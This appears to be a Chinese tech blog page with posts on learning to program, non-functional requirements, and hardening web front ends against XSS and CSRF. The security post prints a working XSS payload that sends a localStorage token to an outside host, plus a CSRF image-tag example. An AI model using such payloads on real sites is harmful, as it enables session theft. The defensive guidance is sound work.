这里我罗列了一些计算机专业的学生一般需要学习的课程,当然每个学校专业设计都不一样,以及名字也不一样,仅供参考。

《高等数学》《离线数学》《电子电路》《数据结构》《程序设计》《计算机组成原理》《编译原理》《计算机网络》《软件工程》《数据库原理》等。有些学校会有一些其他的《通信原理》《汇编语言》《线性代数》《C语言》《Java 语言》等。

学习这些知识是个枯燥的过程,可以看计算机经典丛书系列,比如托马斯·科尔曼(homas H. Cormen)的《算法导论》。推荐更容易的方法是观看大学精品课和去跟MOOC,比较好的有几个:

  • 中国大学精品开放课程 http://www.icourses.cn/home/
  • 中国大学MOOC。这个是中国大学MOOC和网易合作的,有大学经费支持,完成作业和考试后还能拿到证书
  • 果壳网的MOOC学院。这部分的主要内容来自于翻译全球的优秀课程,比如MIT的《Python》

比较难得的就是网易制作了一个计算机专业的课程体系:

计算机课表.png

图片来源于http://study.163.com/curricula/cs.htm

另外一些就是应用于设计软件或者开发网站的实践类知识,包括某个特定语言以及周边的库、框架和工具的等。
我们可以把特定需求用到的语言、库和框架以及其他的工具称为技术栈,这在技术选型上也是被这样考虑的,HR通常也根据技术栈来寻找需要的工程师。比如需要学习SSH 三大框架和Java的Java技术栈;为服务器web开发而生的PHP技术栈;在移动开发领域流行的IOS、安卓技术栈等。当然这里面有一些重合和共用的技术也需要学习,比如版本管理器Git、SVN就是每个合格的工程师需要去学习的。在计算机科学基础知识之外,教授编程以及怎么开发出软件,这正是大多数培训机构的市场定位。

更加详细的解释这些,这里有一些开源的技能图谱可以参考: https://github.com/TeamStuQ/skill-map

技能图谱.jpeg

图片来源 http://skill-map.stuq.org/

最后我整理了一个流行编程语言和用途的表,能在选择时对初学者有所帮助

语言 主要用途
C 操作系统、嵌入式、驱动开发
C++ 图形图像、科研、通信、桌面软件、游戏、游戏服务器
C # Window 桌面软件、.Net web、服务器
Java SE 跨平台的桌面, Android
Java EE 企业级应用、web 开发、服务器后端
Java ME 手机应用,流行于非智能机时代
Go 高性能的服务器应用,比较年轻
Erlang 高并发服务器应用,多用于游戏
Python Web、科学计算、运维
Ruby Web
Perl 运维、文本处理, 用的较少
Lisp 科研、一种逻辑语言,用于人工智能
Node 一个Javascript运行环境(runtime)
Haskell Haskell是一种标准化的、通用纯函数式编程语言,数学逻辑方面
Scala 一种类似java的编程语言,集成面向对象编程和函数式编程的各种特性
Javascript 前端,在node中可以做后端
HTML/CSS 标记语言,主要是给前端工程师构建页面使用

根据这些图谱,做到心中有数该学什么,希望你不在迷茫, 接下来我们聊聊选择合适自己的入门编程语言。

如何挑选你的兵器?

我们把编程语言比喻成兵器,是因为我们深知它仅仅是作为工具存在的,不是为了学它而学,学编程仅仅是学计算机语言,一般来说我们也不用知道赋值语句有“四种写法”。
当然语言之争从来没有停止过,如果我们把编程语言比喻江湖上的武器的话十分有趣。

C语言是M1式加兰德步枪,很老但可靠。C++是双截棍,挥舞起来很强悍,很吸引人,但需要你多年的磨练来掌握,很多人希望改用别的武器。Perl 语言是燃烧弹,曾经在战场上很有用,但现在很少人使用它。Java 是 M240 通用弹夹式自动机枪,有时它的弹夹是圆的,但有时候不是,如果不是,当你开火时,会遇到 NullPointerException 问题,枪就会爆炸,你被炸死。JavaScript 是一把宝剑,但没有剑柄。 -- 来自网络

老实来讲IT行业最终目的是交付可用的软件,编程语言也是适应市场的。这对于初学者来讲或许有些残酷,因为工作多年以后我们发现最好的语言是用来处理工作上的任务或者构建合适的应用,并不是出于爱好或者某种Geek精神。

对于初学者选择合适的入门语言我想你需要考虑至少两点:

  1. 是否能合适的用来构建你想要的应用。如果你的目标是创建一个运行在IPhone上的APP,那么我想你最好选择 Object C 或者 Swift,学习web开发可以选择PHP 或者JAVA, 别急着说你知道还有很多其他方案,最通用的方案永远是久经考验的,而且学习资源众多, 去图书馆的书架上看看就知道啦。
  2. 是否容易学习。编程语言往往能做很多事情,这是因为图灵完备性,我们可以用汇编做出网页,也能用Javascript写APP。在满足第一点的条件下请尽量选择容易学习的语言。容易不仅仅指语法简单,包括环境搭建、部署等都需要考虑在内,以及能不能容易找到好的学习资料。

非常重要一点别忘了,学习编程语言还包括平台提供的API,比如Win 32 之于C++/C#/VB,以及周边的库和框架。IT历史上甚至出现框架和库引领了编程语言走向的情况。JQuery 和Angular 改变了前端开发的思想; Rails 抢走了Ruby的名气;而SSH三大框架一度代表了Java世界。

不要在编辑器和IDE上喋喋不休,他们只是用来盛放你锋利兵器的架子,也不推荐使用纯文本编辑器,这看起来像赤手空拳。

推荐一些编辑器和IDE

IDE/代码编辑器 适用平台 推荐用途
Vim/Emacs/Textmate/Sublime/Atom/Notepad++ 支持大部分平台 纯文本编辑器,理论上支持任何语言
Visual Studio Windows C/C++/C#
Codeblocks 跨平台 C/C++/C#
Eclipse 跨平台 Java
Intellij Idea 跨平台 Java/前端
Xcode Mac OS IOS
PhpStorm 跨平台 PHP
WebStorm 跨平台 前端
NetBeans 跨平台 Java/C++/C/PHP
Android Studio 跨平台 Java(安卓)

图难于其易 - 一把自己够得着的梯子

任何人拿到自己心仪兵器后,只有勤学苦练才能笑傲江湖。我们在形容某项技术是否容易被学习时,我们常常碰到有人用学习曲线很陡峭来形容,这是一个形象的比喻,越陡峭的地方你得选择更合适的方法,不是吗?

我不认为看视频教程有什么不对的,虽然我已经听到不下5个人声称是靠阅读官方文档或者看源码学会编程的,而且认为观看视频教程见效太慢。这个思想对初学者很危险,不得不承认阅读文档和源码能更准确找到自己想要的信息,这对深入技术原理非常有用,但视频比文字传达出更丰富的内容,有更直观的演示和细致的讲解,我想没有别这个更适合初学者了。如果只是因为观看视频教程很low,那也只能说很可惜浪费了非常宝贵的一大块资源,而且往往广泛传播的视频教程都有很高的质量。

当然,得区分一下知识和技能了,这是两样东西。我们来回忆一下我们遇到的挫折,读完了整本书,搞懂了很多道理,打开书无所不能,但合上书无能为力。甚至有时候不能根据自己的想法略微修改书中的例子,因为总是报错。对于IT类的书通常和考试的时候读法是不同的,对于初学,需要选择更接地气的并且能告诉你最终能做出什么案例的书籍。你不需要通读整本书,而是需要搭建好和书中的版本一致的环境,然后把书中的每行代码敲入电脑,观察这些代码怎样被运行。一本书一个月可能才被读完,但慢点并没什么坏处,敲过一遍的代码才能算是你的,否则永远存在于纸上的代码清单中。知识也许是存在脑袋里,但是写代码能力却在手里,我相信很多过来人相信“无他唯手熟尔”这句话,也赞同“代码三天不练手生”的道理。

一个学习的误区:攫取的知识太多。 程序员谁没有个资料库呢,满满一架子的书,超大容量的网盘的资料,有视频有电子书,囤积资料的脚步永远停不下来。有很多文章谈到过这个毛病了,我也是,但是最终发现真正能让我学到东西的是挑一本合适的书或者视频教程(不要花时间找到最好的那套教程,天底下哪有完美的东西啊),然后一步一步跟完,尽量坚持到底不要换, 慢比快好。学习东西通常的方法就是少量取用,然后实践,这不同于做学术研究,在开始的时候不要求你有多深的理解和所谓的”编程思想“,帮你一步一步向上爬,步子不能太大,这便是梯子的作用,不是吗。

胡萝卜和大棒 - 持续自我激励

没有小伙伴和老师,自学无疑是寂寞的。学习编程往往需要花费一个长的时间,如何保证这个阶段能继续坚持?如果把学习比喻成驴子拉磨,我们可以给驴子喂胡萝卜正向奖励,也可以拿棒子抽。当然我们自学者没有老师拿棒子抽,可以采取前一种方法吧,况且没多少人有必要真的要卧薪尝胆。

心理学已经证明,设定一个目标然后实现它,给予适当的奖励,可以奖励一个有效的正向激励机制。学习编程来说,实现一小段程序然后运行起来带来的成就感,足以让人感到满足,这有点像玩游戏杀死一个怪物然后得到一些金币。定期给自己一些目标和任务,听起来是个不错的主意,如何确定这些目标的难度?给自己设定一些有实际意义但是不太难的目标,太难会让人失去信心,太简单又很无聊,而是设定一个跳起来刚好摸得着的任务。每每实现一个目标给予自己奖励,可以是完成任务的成就感,也或者是其他一些设定的物质奖励。这看起来有点像训狗,只要它做出了你期望的行为,马上给予奖励,然后形成条件反射。那我们就可以可以起个名字叫做“巴甫洛夫学习法”,就像巴普洛夫实验的那样。请不要怪我拿驴子和训狗来举例子,我只是想更容易的说明这些问题,虽然看起来有点乡村气息。

那如果真的遇到一些麻烦的任务呢,如何解决它们,而不至于知难而退丧失信心?我来卖弄一点学问,在笛卡尔的《方法论》中告诉了我们研究问题的方法和步骤:

  1. 不接受任何我自己不清楚的真理,避免鲁莽和偏见。
  2. 要研究的复杂问题,尽量分解为多个比较简单的小问题,一个一个地分开解决。
  3. 小问题从简单到复杂排列,先从容易解决的问题着手。
  4. 问题解决后,再综合起来检验,看是否完全,是否将问题彻底解决了

在敏捷开发这种工程思想中我们正是这样做的,我们需要把业务需求进行拆分然后评估工作量,不仅可以直观的看到任务的进展,手上的工作也不会看起来庞大得难以完成。

高山仰止 - 对编程大师的迷思

我相信大多数人都听过比尔·盖茨,计算机专业的学生和IT行业的从业者一般都知道图灵和冯·诺依曼,但是C语言/UNIX之父丹尼斯·里奇(Dennis Ritchie) 却很少人知道。 说明有的时候,其实一个人的名气和他的贡献关系并没那么大的。

说个比较尴尬的事情,我曾经在一些社区或者Q群里回答初学者的问题,竟然有人把我当做大神崇拜,以为我什么都知道,但你应该能想象到,不可能每次的回答或帮助都让他们满意。一旦某个问题不能被解决或者任务完成,他们便非常失望,觉得没有遇到一个真正的高手。

同样在学校我们把老师当做大师,如果有些东西他不知道便被认为对这个专业不精通,不是一个合格的老师;在公司我们对CTO和技术经理又抱有极大的期望,被当做顶梁柱,没有什么问题不能被解决的,否则就是对不起这个头衔;同样把知名博主和经典书籍的作者当做权威,他们的思想又被当做为“社区的最佳实践”。如果我们把对待宗教的狂人用到了编程上,那这应该发生在欧洲文艺复兴前的中世纪,程序员都应该跪在教皇跟前。

计算机科学已经发展到了非常庞大的阶段,每天都有数以万行的代码被提交到开源社区。 社会分工和专业细分得以让这个行业持续发展,没有人能对计算机科学和软件工程领域的所有了如指掌。我们无法讨论比尔·盖茨和图灵那个厉害,一个是厉害的工程师,而另外一个是优秀的科学家,我们无法找到一个合适的标准评判他们。

以前时常能听到一些人一个月写出操作系统,或者因为对某个框架厌恶而自己写了一个,这是多么理想化的Geek精神。但是工程师的个人英雄主义时代已经过去了,林纳斯·托瓦兹写出Linux 也需要开源社区的完善才能被使用;民族软件的旗帜WPS也不仅仅是求伯君和雷军完成的,大量的代码提交于不知名的工程师,硅谷和中关村的传说离我们越来越远。

IT行业内充满了吹捧和互黑,值得庆幸的事,大多数工程师往往通过脚投票选择合适的技术和方案,而不是选择站队。我们应该学习保持技术热情,但在实际工程应用中,技术选型是一个严肃的话题,应该考虑可靠性、好维护性以及周边生态等。很多情况下技术产生于特定的历史背景下,谭浩强在他的C语言书中讲的编程方法,被人们诟病为“坏习惯”,但是事实是谭浩强版《C语言》成书于C语言形成标准之前;PHP被人们认为是脚本语言,大师不屑于使用,但是PHP被设计出来是为了解决高级语言的CGI编写web页面非常痛苦的情景;我们知道DOS操作系统已经被淘汰很多年了,而如今的路由设备依然运行着类似DOS的操作系统。

衡量一个大师往往看他的作品,而不是他说了什么,或者他的名气与头衔。一位著作颇丰的工程师,Borland Delphi 产品专家,曾经的支付宝架构师周爱民(他的书很硬,很值得一看)接受采访时,记者问他:“您是如何成为一名架构师的?” 周爱民的回答让我记忆深刻,“真正的架构师是没有title的。”原因是他并没有在简历上写上架构师的头衔。仅仅是他在Delphi圈子里比较资深,发了简历给盛大,盛大给发offer的时候,觉得高级工程师已经不太适合了,就只能是架构师。

最后多说几句

非科班出身的工程师入门是有一定痛苦的,不像武侠世界里面的名门正派的弟子,又没有机缘遇到骨骼精奇的世外高人,如何选择合适自己学习方式和自我管理是很重要的一方面。没有任何Low的学习方式,只要是直接而又高效就行,更要能达到我们的目的。以我的例子,从大专学校毕业并没有机会参加本科课程,曾经也在网上攫取各种视频教程,去别的学校蹭课,甚至带上礼物去一个老师那里登门拜访补课。

另一方面是如何上桌,吃上编程这碗饭。学习的东西如果无处施展便成为屠龙之技,参加一些开源项目和一些公益活动,谁不喜欢一个热心的人呢。甚至即使是自己想出来的小项目,有了一些项目实践后去找一个公司实习应该不算难事。

我不知道算是有幸还是不幸经历了这一个过程,矫情一点来说是有一些曲折,但是我知道聪明从来不是这个行业的门槛。引用流行于知乎的一句老话“以大多人的努力程度,还轮不到拼天赋的程度”。丰富多彩的IT和网络世界不是天才们的馈赠,而是无数工程师微小又平凡的贡献,学一些,做一做,就是千里之行的起点。

more >>

需求的冰山,来聊聊非功能性需求

工作这么几年来,见得最多的场景是QA小伙伴追着开发满办公室报bug,不过有时候开发却不乐意了,当时可没说要XXX,要做XXX。

好像QA小伙伴永远比开发多一点心眼,即使单元测试覆盖率达到80%,QA还是变着法都能找出问题。

这其中很大一部分原因都是因为“需求背后的需求”造成的,BA、QA小伙伴以为你考虑到了,或者默认开发需要考虑的。
比如CMS系统中一个新建文章的需求,不太可能写出需要防止表单二次提交的AC,然而如果没人提出来谁会知道呢?

 非功能需求.png

最终QA或者线上的用户会通过报bug告诉我们。

我们把这些隐藏到功能需求背后或BA默认认为开发需要考虑的需求称为为非功能性需求,有时候又叫跨功能需求。

下面就来说说在工作中常见的非功能性需求和怎么应对。

交互体验相关

Loading 加载状态是最容易被忽略的一个需求,尤其是现在富客户端开发的模式下,数据的获取都是异步加载的。如果忘了考虑这条需求,在在网络条件较好时会出现闪烁的情况,而在网络情况差的条件下又看起来会卡顿和没有响应。实现统一的Loading可以在前端的网络请求库中增加拦截器,不过需要注意使用计数器让多次网络请求中途的Loading图标不会间断,否则会有闪烁的问题。

表单的二次提交 有一些QA会使用极端的测试方法,例如快速点击按钮多次,如果页面没有进行处理,会触发表单多次提交的问题。即使后端API增加限制则可能同时出现成功和失败的提示,会让用户感到更加迷惑。处理这个问题有几种途径:

  • 使用蒙层的Loading 就会自带阻塞用户的操作的效果。
  • 点击后禁用表单事件或在程序中增加请求中的状态。
  • 依赖后端配置一次性表单令牌(通常用来防CRSF)

输出格式化 需求中一般会告诉开发怎么展示数据,但是往往忘记如何格式化数据。例如我们想让数字使用千分位分隔或其他显示方式让数字阅读不那么困难;字符串溢出的处理截取方式;时间的格式化方法,有一些项目会使用“1小时前”,“一天前”或者具体日期等更为人性化的显示方式;图片的输出需要宽度进行缩放,如果是封面图需要非拉伸截取等。

请求用户确认和提示 这两项专业BA一般都会考虑到,也会通知UX设计对应样式。不过这里面的细节还是值得讨论。

  • 如果在一系列操作的中途提示用户确认,需要明确用户点击取消后,应该回退到用户的哪一步操作状态。有很多的APP在用户编辑好数据后,点击提交然后系统提示是否继续,如果用户点击取消,页面上的数据会被清除。开发需要和BA确认好具体的交互以及提示文案。
  • 成功和错误的提示除了文案之外,和BA需要确认的还有:是独立的提示页还是返回到来源页面?提示需要自动关闭还是等待页面刷新后关闭?用户可以主动点击关闭吗?

交互体验这部分还有一个需求噩耗就是,保持统一!!!我想这个是交互体验上最为致命又不会写在需求中,但是QA往往能从中找到bug。

安全相关

身份校验和权限 URL上资源可以被枚举和请求的资源没有验证用户权限,这属于致命而低级的安全问题,当然BA会默认开发要去做这些。不过现实就是在一些遗留项目中这种例子太多了,例如通过修改URL上的资源ID甚至userID此类参数进而修改其他用户的数据。几年前,可以发现很多此类漏洞,甚至在我学生时期用某电信运营商的权限漏洞得手了不少付费游戏。如果系统设计了权限管理模块,在开启新功能时也应该和BA确认是否纳入权限管理。

表单验证 用户输入的数据如何验证这部分也是经常在需求上忘记体现出来的地方,而且这部分QA特别容易给出Bug,数据验证充满了大量的条件边界。还有一个老生常谈的问题,表单验证应该服务器端还是前端做? 这很显然,后端为了安全必做,前端为了体验选做。

SQL注入和XSS攻击 SQL注入这两年随着成熟的ORM框架普遍使用几乎没有了,但是XSS可以说还是有很多。处理SQL注入和XSS攻击的共同点是不要相信任何用户的输入、任何来源。在浏览器中用户输入不仅有表单还有URL,而往往URL输入参数很容易被数据校验忽略。

文件上传 文件上传背后的需求有上传文件的类型、大小限制;需要和BA确认是否能批量上传,上传前是否需要预览;上传后如何命名,是否需要在上传过程中对图片或视频进行压缩。这里的安全需求是,不应该上传可执行文件;需要获取文件真实后类型信息而非后缀名。文件上传的一个陷阱就是使用了客户端来源的文件名作为文件存储的文件名,这是极为不可靠的,在上传后的文件系统中需要使用内建的唯一命名,并通过数据库来记录用户上传的文件名。

性能相关

响应时间 说实话,没见过那张卡上有明确的指标那些功能需要在多久之内完成响应。但是如果不在分析业务需求的阶段提出来,响应时间过长肯定通不过QA测试。在需求分析阶段的响应时间包含了3个注意点:

  • 系统性能设计要求。对一般需求而言,技术上应该达到基本的性能指标,当然实现的方式不尽相同,例如优化SQL、优化静态资源等。
  • 该功能是否适合同步操作。然而有一些部分的需求是根本不适合使用同步的操作,例如数据导入这类耗时很长的操作,服务器应该接受用户请求然后不断返回任务处理的状态,而不是让用户端等待完成。实现上可以使用一些消息系统,例如JMS等。
  • 第三方系统集成。如果和第三方系统集成,需要和资源提供方沟通是否需要增加批量的数据操作,避免循环获取数据。例如json API标准中提供了include方法聚合多个资源到一次请求中。另外调用方可以注意使用一些非阻塞的网络请求方法,如RxJava或AsyncRestTemplate。

实时消息通知 我们在做一些类似站内信、系统消息的功能时,有时候BA、QA容易默认消息的状态和数量(小红点)应该实时的显示在页面上,并及时更新。但开发小伙伴可能认为web上的一些信息需要用户刷新后可见,这个很容易达成理解不一致。如果实时刷新作为需求确实需要的话,从技术上需要做一些调整才能实现,比如使用轮询、HTTP长连接、websock等方法才能实现,这会带来额外的工作量。

游离数据管理 从事服务器开发的小伙伴可能有这种体会,有一些数据一旦创建了,用户或者管理员就没法找到或者跟踪了。比较明显的例子有两处:

  • 新建资源处,异步上传的图片或者其他资源。比如在用户操作新建文章页面,这个时候文章表可能还没有写入数据,但是需要允许用户上传一些封面或者其他图片。如果用户体完成了整个操作,图片会和文章关联,但是假如用户放弃了操作,图片就会变成游离状态无法继续管理,造成大量垃圾数据占用系统资源。
  • 删除操作,没有删除一些关联数据。例如商品表和商品属性表关联,如果删除操作不是事务性的一起删除,就会造成数据空间浪费,且可能影响后续的统计功能。

对于新建资源的图片上传,可以和BA沟通使用草稿的方式在用户进入创建页就完成数据插入操作,也可以设计一个图片空间来提醒用户使用已经上传的图片;对于删除操作,系统不复杂可以设计为数据库表标记删除,而不是真的删除,也可以设计回收站功能统一移动到备份表。

分布式系统延迟 由于现在稍大的系统都是用了分布式或微服务设计,系统之间存在系统存在同步延迟,比如数据库主从同步,静态资源服务器同步等。在一些对文案要求比较严格的项目中一个隐藏的需求是,需要提醒当前的信息可能存在延迟,请稍后再试。或者前端增加定时刷新页面的或者资源的回退策略,在我经历的一个项目中,上传图片成功返回图片URL后,前端可能会延迟2s左右才能从正常打开图片,因此需要增加onload、onerror进行重试或后续操作。

其他非功能性需求

兼容性 浏览器兼容性是前端开发中头疼的事情,从IE6到微信webview,无论技术发展到哪个时代都逃不掉。那么那些事情是需要和BA确认的呢?

  • 各种浏览器内核具体的型号,而不是讨论搜狗、360这类壳浏览器。如果是APP内部的webview,这就需要收集相关安卓或IOS的版本号。
  • 是否允许一定程度上的降级策略?比如在老式的安卓手机中大量的CSS3特性不支持,可能会造成动画失效,是否我们可以不在老式的手机中要求过渡动画等。

升级策略 前端有兼容性问题,那么服务器端就没有了么?不幸的是如果APP不是同步发布的话,API的修改需要照顾老的客户端。即使是同步发布的APP很难强制用户升级。在服务器端开发的时候保持一定兼容性的同时,更重要的是需要和BA一起设计出合理的升级方案。我的经验是设计API时,需要在URI路径中预留版本号,例如V1/your-api/{id}。同时也需要增加契约测试来保证API的修改不会破坏原来的逻辑。

本地化和国际化 在一些国际化的项目中,这一点尤为重要,不过有时候容易被忽略。多语言和时区问题需要在项目之初就和BA确认,统一增加国际化方案。而其他本地化则需要在每个功能上注意,例如日期、货币、单位、标点符号的输出方式。

用户行为分析埋点 越来越多的项目开始使用用户的行为分析工具了,例如Google的Gtag和更加专业的dynatrace,使用这些工具会对系统造成一定的侵入性,需要对用户的操作进行埋点。如果项目有类似的需求,针对特定的功能很多用户行为分析的系统会提前定义一些标签,那么在开始一个新功能时需要确认用户行为分析的一些规则。

最后

写作本篇的目的是分享在工作中开发在做一张卡背后需要考虑多少注意事项。细节想的越多,让业务逻辑变得更完整,可以让开发工作变得更为顺畅。

在参加公司某次培训时,恰好也有很好的非功能性需求的课程,非常详细,以至于长达数页,但遗憾的是没有非常详细的解释和应对方法。因此决定根据自己在工作中遇到过的场景作为例子,给大家分享出来。

在敏捷团队中一个痛点是我们很少有一个大而全的需求文档,如果在开卡的时候有一些需求没有被想到或者没有在AC中体现出来,就需要反复找BA、UX反复确认。开发和BA沟通调整需求、交互的时候可能忘记知会QA或者UX,或者没有更新故事卡内容,就又会造成沟通的麻烦。

经验之谈,多提意见,谢谢!

more >>

WEB前端安全自查和加固

随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。

network-security.jpg

就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:

npm生态下依赖的安全性。npm 非常年轻,和Java相比包的质量参差不齐,也缺乏良好的审查机制,不过好在npm提供了一些安全工具帮我们审查依赖的安全问题。

XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式,前端开发需要日常注意,我们后面会主要讨论这类攻击。

CSRF跨站请求伪造攻击。CSRF不是非常流行,目前来说容易将此类攻击的破坏性降低到可以接受的程度。

代码自查

开发者和攻击者最大的不同之处在于,开发者完全拥有代码,因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行,如果开发者在上线之前对代码进行审查和扫描,可以事半功倍。

另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞,而代码层面的审查则需要开发团队完成。

npm audit

为了提高npm依赖的安全,npm 6.1 后添加了npm audit工具,这个工具可以搜索当前项目中使用的依赖是否存在安全问题,并提供了npm audit fix工具修复。

image1.png

它的工作原理是维护了一个已知不良依赖的名单,如果代码中使用了直接从GitHub而不是npm仓库中获取依赖,或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时,需要谨慎考虑,不滥用依赖在前端开发也是非常重要的。

Sonarqube

Sonarqube应该是今年业界最为流行的代码审查工具了,Sonarqube使用了和其他开源软件一样,软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台,也可以直接使用sonarqube在线的扫描服务。

image2.png

Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷,我们可以使用另外更加轻量级能集成到构建脚本中的工具。

snyk

如果不想暴露仓库权限,并且本地扫描,可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台,但是也提供了轻量级的本地扫描。

snyk 提供了npm安装,可以参考以下命令,简单的集成到CI中:

npm install -g snyk
snyk auth
snyk test

应对XSS攻击

XSS 攻击通过向页面中注入可以执行的JavaScript代码,因为可以通过JavaScript在已经登陆的用户页面上执行,可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。 XSS分为DOM型、反射型、存储型三种攻击类型,反射型和存储型服务器端可以通过过滤输出处理,对前端项目来说主要针对DOM型攻击采取安全措施。

xss.gif

上面这个动图是我假设的一个漏洞,前端代码直接接收外部输入,并添加到页面上。演示攻击者使用了一段代码:

<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通过图片触发onerror事件的方式执行一段JavaScript代码片段,再读取LocalStorage中的token,最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式,这种注入XSS的代码叫做 XSS payload,很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。

使用HTTP头启用浏览器安全行为

浏览器有很多内置的安全行为,可以防范XSS攻击,第一步需要做的是在上线时合理配置服务器环境,这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事,这里有一个checklist,分别说明了一些必要的HTTP头和用途。

  • HTTP only 对关键Cookies设置HTTP only,前端JavaScript无法读取该Cookies,即使前端被攻击,也无法盗取用户身份信息
  • X-Frame-Options 禁止页面通过IFrame被加载,用来方式clickJacking(页面伪装点击)攻击
  • X-XSS-Protection 配置浏览器的XSS过滤行为,当值为:- 0 禁用XSS过滤器/审核员- 1 删除不安全的部分,如果没有X-XSS-Protection头,这是默认设置- 1; mode = block 如果找到XSS,则不要渲染文档
  • X-Content-Type-Options 提示浏览器一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改,禁止浏览器嗅探资源类型
  • Strict-Transport-Security 要求浏览器对所有资源使用HTTPS链接
  • Access-Control-Allow-Origin 设置跨域请求的安全列表

下面演示一个HTTP only的例子,即使XSS攻击成功,也无法盗走token:

httponly.gif

避免框架中的危险特性

现代前端开发中使用了一般基于常用的框架开发,框架提供了很多安全特性在输入内容到DOM避免了XSS注入,但是如果不当使用,也会有一些风险。框架为了提供更大的灵活性往往允许原生的HTML内容被添加到DOM中并提供了对应API,但基本上也会在文档中说明。

Vue的v-html指令。 Vue的明确提示使用该指令的前提是信任输入内容,但是大量项目使用了此指令,甚至从URL上获取的部分内容。下面图片中的使用方式在项目中很常见,但是如果使用xss payload很容易像上面演示的那样被xss注入攻击。

vhtml.png

dangerouslySetInnerHTML。React中提供了类似的机制,不过在API的名称上非常醒目,原理上和Vue类似,不再赘述。

另外一种不当使用框架的例子是,读取原生DOM或者使用JQuery的并添加内容的行为,这种行为不仅对项目架构造成破坏,带来维护性的困难,而且会存在XSS注入的风险。

启用CSP浏览器安全策略

在银行和金融类项目,对安全要求非常重视。大家都知道的一个例子是银行项目都实现了自己的键盘输入控件,目的是防止操作系统的键盘Hook,这个超出前端开发需要考虑的内容。另外一个方法是启用CSP浏览器内容安全策略,对加载到页面上的内容进一步限制,并且CSP还提供了异常报告的机制。

mozilla的CSP定义

“内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等”

通俗的来说,CSP就是通过HTTP头部 Content-Security-Policy或者HTML meta标签定义一系列白名单规则,限制页面上脚本的执行和资源的加载来源,例如不允许执行内联代码(script块内容,内联事件,内联样式),禁止执行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,达到进一步限制页面脚本的策略。例如:

Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP 策略包括多个指令和指令值组成:

指令 指令值示例 说明
default-src 'self' cnd.com 定义针对所有类型(js、image、css、web font、ajax请求、iframe,多媒体等)资源的默认加载策略
script-src 'self' js.com 定义针对JavaScript的加载策略
style-src 'self' css.com 定义针对样式的加载策略
img-src 'self' img.com 定义针对图片的加载策略
connect-src 'self' 针对Ajax、WebSocket等请求的加载策略
font-src font.x.com 针对Web Font的加载策略
object-src 'self' 针对的加载策略
media-src media.x.com 针对
frame-src 'self' 针对frame的加载策略。
sandbox allow-forms 对请求的资源启用sandbox
report-uri /report-uri 启用报告模式,当违反CSP策略会发送一份JSON数据包
指令 指令值示例 说明
 - img-src 允许任何内容。
'none' img-src 'none' 不允许任何内容。
'self' img-src 'self' 允许来自相同域的内容
data img-src data 允许data:协议(base64、SVG)
x.com img-src img.x.com 允许加载指定域名的资源
*.x.com img-src *.x.com 允许加载指定域任何子域的资源
https://img.com img-src https://img.com 允许加载img.com的https资源
https: img-src https: 允许加载https资源
'unsafe-inline' script-src 'unsafe-inline' 允许加载行内资源(例如常见的style属性,onclick,inline js和inline css等等)
'unsafe-eval' script-src 'unsafe-eval' 允许加载动态js代码,例如eval()、new Function

CSP 策略中有一个特别的指令report-uri可以配置页面上违规后的报告,一旦浏览器检测到违规的资源加载,浏览器会发送一个JSON数据包到指定服务器。

csp.png

应对CSRF攻击

CSRF攻击者在用户已经登陆目标网站后,诱导用户访问一个攻击页面,利用用户已经获取的权限,发起伪造的请求。

举个例子:

假设GitHub提供了一个给仓库加星的接口,htttps://github.com/{repositoryName}/star 而且这个接口使用了GET方法,当然GitHub不会这样做。

这样攻击者就可以在GitHub上Readme文件中中增加一张图片:

<img src="htttps://github.com/{repositoryName}/star" />

当用户浏览到这个仓库的时候就会给该仓库增加一个星。

因此业界通常的做法是避免使用GET操作对数据资源的修改,使用POST时增加一个一次性的token。

如果Spring boot中使用Spring security,会有默认的 CsrfFilter,只需要注册CsrfFilter即可启用CSRF机制。客户端对相同的Restful资源发出POST请求之前需要首先从GET方法得到一个一次性的token,否则会得到一个403错误。

其他

实际项目中我们还有其他的一些安全措施:

例如加密代码中的密码等敏感信息,加密本身对前端来说意义不大,但是可以增加攻击者反向分析代码的难度,屏蔽代码中可以直接搜索到的关键字,例如Login、Password等字符串。

另外也要防止程序报错后意外暴露一些信息给用户,面对各种各样的异常,用户不可能主动也没有能力报告错误,我们可以通过使用sentry.io之类的一些工具收集控制台报错信息 。

最后这个世界上没有绝对的安全,即使CSP这类极其严格的策略都有可能被绕过,前端开发中安全也需要考虑成本,应该选用性价比高的安全策略。安全也不是独立的,应该和服务器、甚至操作系统层面联合考虑,例如后端提供的资源应该是通过ID不可枚举的,上传文件的时候也应该嗅探内容和MIME信息决定文件类型。

参考链接:

more >>

从单体到微服务,这些年架构的演变

